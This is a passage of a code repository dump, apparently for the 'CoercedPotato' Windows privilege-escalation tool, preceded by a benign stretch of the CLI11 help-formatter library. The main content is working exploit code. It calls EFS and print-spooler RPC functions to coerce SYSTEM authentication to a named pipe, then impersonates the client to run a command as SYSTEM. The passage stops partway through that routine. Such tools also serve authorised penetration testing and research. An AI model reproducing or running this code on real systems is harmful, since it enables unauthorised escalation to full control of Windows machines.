out.str();\n}\n\nCLI11_INLINE std::string Formatter::make_footer(const App *app) const {\n    std::string footer = app->get_footer();\n    if(footer.empty()) {\n        return std::string{};\n    }\n    return \"\\n\" + footer + \"\\n\";\n}\n\nCLI11_INLINE std::string Formatter::make_help(const App *app, std::string name, AppFormatMode mode) const {\n\n    // This immediately forwards to the make_expanded method. This is done this way so that subcommands can\n    // have overridden formatters\n    if(mode == AppFormatMode::Sub)\n        return make_expanded(app);\n\n    std::stringstream out;\n    if((app->get_name().empty()) && (app->get_parent() != nullptr)) {\n        if(app->get_group() != \"Subcommands\") {\n            out << app->get_group() << ':';\n        }\n    }\n\n    out << make_description(app);\n    out << make_usage(app, name);\n    out << make_positionals(app);\n    out << make_groups(app, mode);\n    out << make_subcommands(app, mode);\n    out << make_footer(app);\n\n    return out.str();\n}\n\nCLI11_INLINE std::string Formatter::make_subcommands(const App *app, AppFormatMode mode) const {\n    std::stringstream out;\n\n    std::vector<const App *> subcommands = app->get_subcommands({});\n\n    // Make a list in definition order of the groups seen\n    std::vector<std::string> subcmd_groups_seen;\n    for(const App *com : subcommands) {\n        if(com->get_name().empty()) {\n            if(!com->get_group().empty()) {\n                out << make_expanded(com);\n            }\n            continue;\n        }\n        std::string group_key = com->get_group();\n        if(!group_key.empty() &&\n           std::find_if(subcmd_groups_seen.begin(), subcmd_groups_seen.end(), [&group_key](std::string a) {\n               return detail::to_lower(a) == detail::to_lower(group_key);\n           }) == subcmd_groups_seen.end())\n            subcmd_groups_seen.push_back(group_key);\n    }\n\n    // For each group, filter out and print subcommands\n    for(const std::string &group : subcmd_groups_seen) {\n        out << \"\\n\" << group << \":\\n\";\n        std::vector<const App *> subcommands_group = app->get_subcommands(\n            [&group](const App *sub_app) { return detail::to_lower(sub_app->get_group()) == detail::to_lower(group); });\n        for(const App *new_com : subcommands_group) {\n            if(new_com->get_name().empty())\n                continue;\n            if(mode != AppFormatMode::All) {\n                out << make_subcommand(new_com);\n            } else {\n                out << new_com->help(new_com->get_name(), AppFormatMode::Sub);\n                out << \"\\n\";\n            }\n        }\n    }\n\n    return out.str();\n}\n\nCLI11_INLINE std::string Formatter::make_subcommand(const App *sub) const {\n    std::stringstream out;\n    detail::format_help(out, sub->get_display_name(true), sub->get_description(), column_width_);\n    return out.str();\n}\n\nCLI11_INLINE std::string Formatter::make_expanded(const App *sub) const {\n    std::stringstream out;\n    out << sub->get_display_name(true) << \"\\n\";\n\n    out << make_description(sub);\n    if(sub->get_name().empty() && !sub->get_aliases().empty()) {\n        detail::format_aliases(out, sub->get_aliases(), column_width_ + 2);\n    }\n    out << make_positionals(sub);\n    out << make_groups(sub, AppFormatMode::Sub);\n    out << make_subcommands(sub, AppFormatMode::Sub);\n\n    // Drop blank spaces\n    std::string tmp = detail::find_and_replace(out.str(), \"\\n\\n\", \"\\n\");\n    tmp = tmp.substr(0, tmp.size() - 1);  // Remove the final '\\n'\n\n    // Indent all but the first line (the name)\n    return detail::find_and_replace(tmp, \"\\n\", \"\\n  \") + \"\\n\";\n}\n\nCLI11_INLINE std::string Formatter::make_option_name(const Option *opt, bool is_positional) const {\n    if(is_positional)\n        return opt->get_name(true, false);\n\n    return opt->get_name(false, true);\n}\n\nCLI11_INLINE std::string Formatter::make_option_opts(const Option *opt) const {\n    std::stringstream out;\n\n    if(!opt->get_option_text().empty()) {\n        out << \" \" << opt->get_option_text();\n    } else {\n        if(opt->get_type_size() != 0) {\n            if(!opt->get_type_name().empty())\n                out << \" \" << get_label(opt->get_type_name());\n            if(!opt->get_default_str().empty())\n                out << \" [\" << opt->get_default_str() << \"] \";\n            if(opt->get_expected_max() == detail::expected_max_vector_size)\n                out << \" ...\";\n            else if(opt->get_expected_min() > 1)\n                out << \" x \" << opt->get_expected();\n\n            if(opt->get_required())\n                out << \" \" << get_label(\"REQUIRED\");\n        }\n        if(!opt->get_envname().empty())\n            out << \" (\" << get_label(\"Env\") << \":\" << opt->get_envname() << \")\";\n        if(!opt->get_needs().empty()) {\n            out << \" \" << get_label(\"Needs\") << \":\";\n            for(const Option *op : opt->get_needs())\n                out << \" \" << op->get_name();\n        }\n        if(!opt->get_excludes().empty()) {\n            out << \" \" << get_label(\"Excludes\") << \":\";\n            for(const Option *op : opt->get_excludes())\n                out << \" \" << op->get_name();\n        }\n    }\n    return out.str();\n}\n\nCLI11_INLINE std::string Formatter::make_option_desc(const Option *opt) const { return opt->get_description(); }\n\nCLI11_INLINE std::string Formatter::make_option_usage(const Option *opt) const {\n    // Note that these are positionals usages\n    std::stringstream out;\n    out << make_option_name(opt, true);\n    if(opt->get_expected_max() >= detail::expected_max_vector_size)\n        out << \"...\";\n    else if(opt->get_expected_max() > 1)\n        out << \"(\" << opt->get_expected() << \"x)\";\n\n    return opt->get_required() ? out.str() : \"[\" + out.str() + \"]\";\n}\n\n\n} // namespace CLI\n"
  },
  {
    "path": "CoerceFunctions.cpp",
    "content": "#include <iostream>\n#include <Windows.h>\n#include <functional>\n#include <rpc.h> \n#include <strsafe.h>\n\n#include \"lib/ms-efsr_h.h\"\n#include \"lib/ms-rprn_h.h\"\n#include \"CoerceFunctions.h\"\n\n\nlong callEfsRpcOpenFileRaw(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    long flag = 0;\n    PVOID pContext;\n\n    result = EfsRpcOpenFileRaw(Binding, &pContext, targetedPipeName, flag);\n    return result;\n}\n\nlong callEfsRpcEncryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcEncryptFileSrv with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n\n    result = EfsRpcEncryptFileSrv(Binding, targetedPipeName);\n    return result;\n}\n\nlong callEfsRpcDecryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcDecryptFileSrv with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    long OpenFlag = 0;\n\n    result = EfsRpcDecryptFileSrv(Binding, targetedPipeName, OpenFlag);\n    return result;\n}\n\nlong callEfsRpcQueryUsersOnFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcQueryUsersOnFile with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    ENCRYPTION_CERTIFICATE_HASH_LIST* Users = nullptr;\n\n    result = EfsRpcQueryUsersOnFile(Binding, targetedPipeName, &Users);\n    return result;\n}\n\nlong callEfsRpcQueryRecoveryAgents(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcQueryRecoveryAgents with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    ENCRYPTION_CERTIFICATE_HASH_LIST* Users = nullptr;\n\n    result = EfsRpcQueryRecoveryAgents(Binding, targetedPipeName, &Users);\n    return result;\n}\n\nlong callEfsRpcRemoveUsersFromFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcRemoveUsersFromFile with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    ENCRYPTION_CERTIFICATE_HASH_LIST users;\n    users.nCert_Hash = 1;\n    ENCRYPTION_CERTIFICATE_HASH user;\n    user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE_HASH);\n    user.pUserSid = nullptr;\n    user.pHash = nullptr;\n    user.lpDisplayInformation = nullptr;\n    users.pUsers = new PENCRYPTION_CERTIFICATE_HASH[users.nCert_Hash];\n    users.pUsers[0] = &user;\n\n    result = EfsRpcRemoveUsersFromFile(Binding, targetedPipeName, &users);\n    return result;\n}\n\nlong callEfsRpcAddUsersToFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcAddUsersToFile with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    ENCRYPTION_CERTIFICATE_LIST certificates;\n    certificates.nUsers = 1;\n    ENCRYPTION_CERTIFICATE user;\n    user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE);\n    user.pUserSid = nullptr;\n    user.pCertBlob = nullptr;\n    certificates.pUsers = new PENCRYPTION_CERTIFICATE[certificates.nUsers];\n    certificates.pUsers[0] = &user;\n\n    result = EfsRpcAddUsersToFile(Binding, targetedPipeName, &certificates);\n    return result;\n}\n\n// NOT EXPLOITABLE YET\nlong callEfsRpcFileKeyInfo(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcFileKeyInfo with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    DWORD infoClass = 1;\n    EFS_RPC_BLOB* keyInfo = nullptr;\n\n    result = EfsRpcFileKeyInfo(Binding, targetedPipeName, infoClass, &keyInfo);\n    return result;\n}\n\nlong callEfsRpcDuplicateEncryptionInfoFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcDuplicateEncryptionInfoFile with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    DWORD dwCreationDisposition = 1;\n    DWORD dwAttributes = 2;\n\n    result = EfsRpcDuplicateEncryptionInfoFile(Binding, targetedPipeName, targetedPipeName, dwCreationDisposition, dwAttributes, nullptr, FALSE);\n    return result;\n}\n\nlong callEfsRpcAddUsersToFileEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcAddUsersToFileEx with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    DWORD dwFileKeyInfoFlags = 0;\n    ENCRYPTION_CERTIFICATE_LIST certificates;\n    certificates.nUsers = 1;\n    ENCRYPTION_CERTIFICATE user;\n    user.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE);\n    user.pUserSid = nullptr;\n    user.pCertBlob = nullptr;\n    certificates.pUsers = new PENCRYPTION_CERTIFICATE[certificates.nUsers];\n    certificates.pUsers[0] = &user;\n\n    result = EfsRpcAddUsersToFileEx(Binding, dwFileKeyInfoFlags, nullptr, targetedPipeName, &certificates);\n    return result;\n}\n\n// NOT EXPLOITABLE YET\nlong callEfsRpcFileKeyInfoEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcFileKeyInfoEx with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    DWORD dwFileKeyInfoFlags = 0;\n    DWORD InfoClass = 1;\n    EFS_RPC_BLOB* KeyInfo = nullptr;\n\n    result = EfsRpcFileKeyInfoEx(Binding, dwFileKeyInfoFlags, nullptr, targetedPipeName, InfoClass, &KeyInfo);\n    return result;\n}\n\nlong callEfsRpcGetEncryptedFileMetadata(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcGetEncryptedFileMetadata with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    EFS_RPC_BLOB* EfsStreamBlob = nullptr;\n\n    result = EfsRpcGetEncryptedFileMetadata(Binding, targetedPipeName, &EfsStreamBlob);\n    return result;\n}\n\nlong callEfsRpcEncryptFileExSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcEncryptFileExSrv with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    wchar_t* ProtectorDescriptor = nullptr;\n    unsigned long Flags = 0;\n\n    result = EfsRpcEncryptFileExSrv(Binding, targetedPipeName, ProtectorDescriptor, Flags);\n    return result;\n}\n\nlong callEfsRpcQueryProtectors(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName) {\n    wprintf(L\"[*] Invoking EfsRpcQueryProtectors with target path: %ws\\r\\n\", targetedPipeName);\n    long result;\n    PENCRYPTION_PROTECTOR_LIST* ppProtectorList = new PENCRYPTION_PROTECTOR_LIST;\n    ppProtectorList[0] = new ENCRYPTION_PROTECTOR_LIST;\n    ppProtectorList[0]->nProtectors = 1;\n    PENCRYPTION_PROTECTOR protector = new ENCRYPTION_PROTECTOR;\n    protector->cbTotalLength = sizeof(ENCRYPTION_PROTECTOR);\n    protector->pUserSid = nullptr;\n    protector->lpProtectorDescriptor = nullptr;\n    ppProtectorList[0]->pProtectors = new PENCRYPTION_PROTECTOR[1];\n    ppProtectorList[0]->pProtectors[0] = protector;\n\n    result = EfsRpcQueryProtectors(Binding, targetedPipeName, &ppProtectorList);\n    return result;\n}\n\n\nlong callRpcRemoteFindFirstPrinterChangeNotification(wchar_t* targetedPipeName) {\n    wprintf(L\"[*] Invoking RpcRemoteFindFirstPrinterChangeNotification with target path: %ws\\r\\n\", targetedPipeName);\n    // RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT\n    char computerName[MAX_COMPUTERNAME_LENGTH + 1];\n    DWORD size = sizeof(computerName);\n    GetComputerNameA(computerName, &size);\n    wchar_t* localhostComputerName;\n    localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(localhostComputerName, MAX_PATH, L\"\\\\\\\\%hs\", computerName);\n\n    // INITIALIZING ALL PARAMETERS\n    PRINTER_HANDLE hPrinter = NULL;\n    HRESULT hr = NULL;\n    DEVMODE_CONTAINER devmodeContainer;\n    SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));\n\n    RpcTryExcept\n    {\n        hr = RpcOpenPrinter(localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0);\n\n        if (hr == ERROR_SUCCESS) {\n            hr = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, 0x00000100 /* PRINTER_CHANGE_ADD_JOB */,0, targetedPipeName, 0, NULL,NULL);\n            RpcClosePrinter(&hPrinter);\n        }\n        else\n        {\n            wprintf(L\"RpcOpenPrinter failed %d\\n\", hr);\n        }\n    }\n    RpcExcept(EXCEPTION_EXECUTE_HANDLER);\n    {\n        hr = RpcExceptionCode();\n\n    }\n    RpcEndExcept;\n    return hr;\n}\n\n\nlong callRpcRemoteFindFirstPrinterChangeNotificationEx(wchar_t* targetedPipeName) {\n    wprintf(L\"[*] Invoking RpcRemoteFindFirstPrinterChangeNotificationEx with target path: %ws\\r\\n\", targetedPipeName);\n    // RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT\n    char computerName[MAX_COMPUTERNAME_LENGTH + 1];\n    DWORD size = sizeof(computerName);\n    GetComputerNameA(computerName, &size);\n    wchar_t* localhostComputerName;\n    localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(localhostComputerName, MAX_PATH, L\"\\\\\\\\%hs\", computerName);\n\n    // INITIALIZING ALL PARAMETERS\n    PRINTER_HANDLE hPrinter = NULL;\n    HRESULT hr = NULL;\n    DEVMODE_CONTAINER devmodeContainer;\n    SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));\n\n    RpcTryExcept\n    {\n        // GETTING PRINTER HANDLE\n        hr = RpcOpenPrinter(localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0);\n\n        if (hr == ERROR_SUCCESS) {\n            hr = RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, 0x00000100 /* PRINTER_CHANGE_ADD_JOB */,0, targetedPipeName, 0, NULL);\n            RpcClosePrinter(&hPrinter);\n        }\n        else\n        {\n            wprintf(L\"[MS-RPRN] [-] RpcOpenPrinter failed %d\\n\", hr);\n        }\n    }\n    RpcExcept(EXCEPTION_EXECUTE_HANDLER);\n    {\n        hr = RpcExceptionCode();\n        return hr;\n    }\n    RpcEndExcept;\n    return 0;\n}\n\n/*\n\nlong callRpcAsyncOpenPrinterEx(handle_t hRemoteBinding) {\n    // RETRIEVING HOSTNAME. NECESSARY FOR PRINTSPOOLER EXPLOIT\n    char computerName[MAX_COMPUTERNAME_LENGTH + 1];\n    DWORD size = sizeof(computerName);\n    GetComputerNameA(computerName, &size);\n    wchar_t* localhostComputerName;\n    localhostComputerName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(localhostComputerName, MAX_PATH, L\"\\\\\\\\%hs\", computerName);\n\n    // INITIALIZING ALL PARAMETERS\n    PRINTER_HANDLE hPrinter = NULL;\n    HRESULT hr = NULL;\n    DEVMODE_CONTAINER devmodeContainer;\n    SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));\n\n    SPLCLIENT_CONTAINER ClientInfoContainer;\n    ClientInfoContainer.Level = 1;\n\n    SPLCLIENT_INFO_1* client_info = new SPLCLIENT_INFO_1;\n    client_info->dwBuildNum = 14393;\n    client_info->dwMajorVersion = 6;\n    client_info->dwMinorVersion = 0;\n    client_info->dwSize = sizeof(SPLCLIENT_INFO_1);\n    client_info->pMachineName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(client_info->pMachineName, MAX_PATH, L\"MyRemoteComputer\");\n    client_info->pUserName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(client_info->pUserName, MAX_PATH, L\"LAB\\\\user-da\");\n    client_info->wProcessorArchitecture = 64;\n\n    ClientInfoContainer.ClientInfo.pClientInfo1 = client_info;\n\n    RpcTryExcept\n    {\n        // GETTING PRINTER HANDLE\n        hr = RpcAsyncOpenPrinter(hRemoteBinding, localhostComputerName, &hPrinter, NULL, &devmodeContainer, 0,&ClientInfoContainer);\n\n        if (hr == ERROR_SUCCESS) {\n            wprintf(L\"BIND OK \\r\\n\");\n            RpcClosePrinter(&hPrinter);\n        }\n        else\n        {\n            wprintf(L\"[MS-RPRN] [-] RpcOpenPrinter failed %d\\n\", hr);\n        }\n    }\n    RpcExcept(EXCEPTION_EXECUTE_HANDLER);\n    {\n        hr = RpcExceptionCode();\n        std::cerr << \"[-] An error has occurred during the RpcAsyncOpenPrinter : \" << hr << std::endl;\n    }\n    RpcEndExcept;\n    return hr;\n}\n\nlong callRpcAsyncAddPrintProcessor(handle_t hRemoteBinding, wchar_t* targetedPipeName) {\n    HRESULT hr;\n    char computerName[MAX_COMPUTERNAME_LENGTH + 1];\n    DWORD size = sizeof(computerName);\n    GetComputerNameA(computerName, &size);\n    wchar_t* pName;\n    pName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(pName, MAX_PATH, L\"\\\\\\\\%hs\", computerName);\n    wchar_t* pPrintProcessorName;\n    pPrintProcessorName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(pPrintProcessorName, MAX_PATH, L\"Microsoft Print to PDF\");\n\n\n\n    RpcTryExcept\n    {\n        // GETTING PRINTER HANDLE\n        hr = RpcAsyncAddPrintProcessor(hRemoteBinding, pName, NULL, targetedPipeName, pPrintProcessorName);\n\n        if (hr == ERROR_SUCCESS) {\n            wprintf(L\"BIND OK \\r\\n\");\n        }\n        else\n        {\n            wprintf(L\"[MS-RPRN] [-] RpcOpenPrinter failed %d\\n\", hr);\n        }\n    }\n    RpcExcept(EXCEPTION_EXECUTE_HANDLER);\n    {\n        hr = RpcExceptionCode();\n        std::cerr << \"[-] An error has occurred during the RpcAsyncOpenPrinter : \" << hr << std::endl;\n    }\n    RpcEndExcept;\n    return hr;\n}\n\nlong callNetrFileGetInfo(wchar_t* targetedNamedPipe){\n    HRESULT hr;\n    DWORD level = 2;\n    LPFILE_INFO InfoStruct = NULL;\n    DWORD fileId = 1;\n    \n    RpcTryExcept\n    {\n        hr = NetrFileGetInfo(targetedNamedPipe, fileId, level, InfoStruct);\n    }\n    RpcExcept(EXCEPTION_EXECUTE_HANDLER);\n    {\n        hr = RpcExceptionCode();\n        std::cerr << \"[-] An error has occurred during the NetrFileGetInfo() : \" << hr << std::endl;\n    }\n    RpcEndExcept;\n    return hr;\n}\n\nlong callNetrShareGetInfo(wchar_t* targetedPipeName) {\n    long result = 0;\n    DWORD level = 2;\n\n    wchar_t* serverName;\n    serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(serverName, MAX_PATH, L\"\\\\\\\\localhost\");\n\n    SHARE_INFO_2 InfoStruct;\n    memset(&InfoStruct, 0, sizeof(SHARE_INFO_2));\n\n    result = NetrShareGetInfo(serverName, targetedPipeName, level, (LPSHARE_INFO)&InfoStruct);\n\n    if (result != 0) {\n        std::cerr << \"Erreur lors de l'appel  NetrShareGetInfo. Code d'erreur : \" << result << std::endl;\n        // Grer l'erreur selon vos besoins.\n    }\n    else {\n        wprintf(L\"Nom : %ls\\n\", InfoStruct.shi2_netname);\n        wprintf(L\"OK\\n\");\n    }\n\n    return result;\n}\n\nlong callNetrShareCheck(wchar_t* targetedPipeName) {\n    long result = 0;\n\n    wchar_t* serverName;\n    serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(serverName, MAX_PATH, L\"localhost\");\n\n    DWORD Type;\n\n    result = NetrShareCheck(serverName, targetedPipeName, &Type);\n    wprintf(L\"NetrShareCheck returned %lx\\n\", result);\n    return result;\n}\n\nlong callNetprPathType(wchar_t* targetedPipeName) {\n    long result = 0;\n\n    wchar_t* serverName;\n    serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(serverName, MAX_PATH, L\"localhost\");\n\n    DWORD pathType;\n    DWORD flags = 0;\n\n    NetprPathType(serverName, targetedPipeName, &pathType, flags);\n    wprintf(L\"NetprPathType returned %lx\\n\", result);\n    return result;\n}\n\nlong callNetprNameValidate(wchar_t* targetedPipeName) {\n    long result = 0;\n\n    wchar_t* serverName;\n    serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(serverName, MAX_PATH, L\"localhost\");\n    DWORD netName = 9;\n    DWORD flags = 0;\n    result = NetprNameValidate(serverName, targetedPipeName, netName, flags);\n    wprintf(L\"NetprNameValidate returned %lx\\n\", result);\n    return result;\n}\n\n\nlong callNetrpGetFileSecurity(wchar_t* targetedPipeName) {\n    long result = 0;\n\n    wchar_t* serverName;\n    serverName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(serverName, MAX_PATH, L\"localhost\");\n\n    wchar_t* lpFileName;\n    lpFileName = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));\n    StringCchPrintf(lpFileName, MAX_PATH, L\"foo1234\");\n\n    SECURITY_INFORMATION RequestedInformation = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;\n    PADT_SECURITY_DESCRIPTOR SecurityDescriptor = NULL;\n\n\n    result = NetrpGetFileSecurity(serverName, targetedPipeName, lpFileName, RequestedInformation, &SecurityDescriptor);\n    wprintf(L\"NetrpGetFileSecurity returned %lx\\n\", result);\n    return result;\n}\n*/"
  },
  {
    "path": "CoerceFunctions.h",
    "content": "#pragma once\n#include <iostream>\n#include <Windows.h>\n#include <functional>\n#include <rpc.h> \n#include <strsafe.h>\n\n#include \"lib/ms-efsr_h.h\"\n#include \"lib/ms-rprn_h.h\"\n\n\nlong callEfsRpcOpenFileRaw(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcEncryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcDecryptFileSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcQueryUsersOnFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcQueryRecoveryAgents(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcRemoveUsersFromFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcAddUsersToFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcFileKeyInfo(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcDuplicateEncryptionInfoFile(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcAddUsersToFileEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcFileKeyInfoEx(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcGetEncryptedFileMetadata(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcEncryptFileExSrv(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\nlong callEfsRpcQueryProtectors(RPC_BINDING_HANDLE Binding, LPWSTR targetedPipeName);\n\nlong callRpcRemoteFindFirstPrinterChangeNotification(wchar_t* targetedPipeName);\nlong callRpcRemoteFindFirstPrinterChangeNotificationEx(wchar_t* targetedPipeName);\n\nlong callRpcAsyncOpenPrinter(RPC_BINDING_HANDLE Binding, wchar_t* targetedPipeName);\n\nlong callNetrFileGetInfo(wchar_t* targetedPipeName);\nlong callNetrShareGetInfo(wchar_t* targetedPipeName);\nlong callNetrpGetFileSecurity(wchar_t* targetedPipeName);\nlong callNetprNameValidate(wchar_t* targetedPipeName);"
  },
  {
    "path": "CoercedPotato.cpp",
    "content": "#pragma once\n\n#include <iostream>\n#include <Windows.h>\n#include <sddl.h>\n#include <userenv.h>\n#include <thread>\n#include <tchar.h>\n#include <string>\n#include <locale>\n#include <functional>\n#include <rpc.h> \n#include <strsafe.h>\n#include <winsdkver.h>\n#define _WIN32_WINNT 0x0601\n#include <sdkddkver.h>\n#include <random>\n\n#include \"lib/ms-efsr_h.h\"\n#include \"lib/ms-rprn_h.h\"\n#include \"win32errorcodes/c/win32errors.h\"\n#include \"CoerceFunctions.h\"\n#include \"CLI11.hpp\"\n\n#pragma comment(lib, \"RpcRT4.lib\")\n#pragma comment(lib, \"userenv.lib\")\n#pragma warning( disable : 28251 )\n\nLPWSTR g_pwszCommandLine = NULL;\nBOOL g_bInteractWithConsole = true;\n\nstruct NamedPipeThreadArgs {\n    LPWSTR commandLine;\n    const wchar_t* pipePath;\n};\n\nwchar_t* generateRandomString() {\n    static const wchar_t caracteresPermis[] = L\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n    static const int tailleCaracteresPermis = sizeof(caracteresPermis) / sizeof(wchar_t);\n    std::mt19937 generateur(std::random_device{}());\n    int l = (generateur() + 1) % 25;\n    wchar_t* randomString = new wchar_t[l + 1];\n    for (int i = 0; i < l; ++i) {\n        randomString[i] = caracteresPermis[generateur() % tailleCaracteresPermis];\n    }\n    randomString[l] = L'\\0';\n\n    return randomString;\n}\n\nvoid handleError(const wchar_t* function, long result) {\n    wprintf(L\"[error] %ls returned (%d): %ls\\r\\n\", function, result, lookup_error_with_nameW(result));\n\n    if ((result == WIN32ERR_ERROR_BAD_NETPATH) or (result == WIN32ERR_ERROR_SUCCESS)) {\n        wprintf(L\"|--> [+] Exploit worked, it should execute your command as SYSTEM!\\r\\n\");\n    }\n    else if (result == WIN32ERR_ERROR_ACCESS_DENIED) {\n        wprintf(L\"|--> [-] Access Denied requiring more privileges, trying another one ...\\r\\n\");\n    }\n    else if (result == WIN32ERR_ERROR_NOT_SUPPORTED) {\n        wprintf(L\"|--> [-] RPC function probably not implemented on this system, trying another one ...\\r\\n\");\n    }\n    else {\n        wprintf(L\"|--> [-] Exploit failed, unknown error, trying another function ...\\r\\n\");\n    }\n}\n\nBOOL createRPCbind(RPC_BINDING_HANDLE& binding_h)\n{\n    RPC_STATUS status;\n    RPC_WSTR NetworkAddr = (RPC_WSTR)L\"\\\\\\\\localhost\";\n\n    RPC_WSTR bindingString = nullptr;\n    status = RpcStringBindingCompose(\n        nullptr,              // Address targeted (NULL for local binding)\n        (RPC_WSTR)L\"ncalrpc\", // Protocol used \n        nullptr,              // Endpoint (NULL for dynamic binding)\n        nullptr,              // UUID (NULL for dynamic binding)\n        nullptr,              // Options (utilisez nullptr pour les options par defaut)\n        &bindingString\n    );\n    if (status != RPC_S_OK) {\n        handleError(L\"RpcStringBindingCompose()\", status);\n        return FALSE;\n    }\n\n    status = RpcBindingFromStringBinding(bindingString, &binding_h);\n    if (status != RPC_S_OK) {\n        handleError(L\"RpcBindingFromStringBinding()\", status);\n        RpcStringFree(&bindingString);\n        return FALSE;\n    }\n\n    status = RpcStringFree(&bindingString);\n    if (status != RPC_S_OK) {\n        handleError(L\"RpcStringFree()\", status);\n    }\n\n    wprintf(L\"[+] RPC binding with localhost done \\r\\n\");\n    return TRUE; // Success\n}\n\n// CODE STOLEN FROM https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp\nBOOL GetSystem(HANDLE hPipe)\n{\n    DWORD g_dwSessionId = 0;\n    BOOL bResult = FALSE;\n    HANDLE hSystemToken = INVALID_HANDLE_VALUE;\n    HANDLE hSystemTokenDup = INVALID_HANDLE_VALUE;\n\n    DWORD dwCreationFlags = 0;\n    LPWSTR pwszCurrentDirectory = NULL;\n    LPVOID lpEnvironment = NULL;\n    PROCESS_INFORMATION pi = { 0 };\n    STARTUPINFO si = { 0 };\n\n    if (!ImpersonateNamedPipeClient(hPipe))\n    {\n        handleError(L\"ImpersonateNamedPipeClient()\", GetLastError());\n        goto cleanup;\n    }\n\n    if (!OpenThreadToken(GetCurrentThread(), 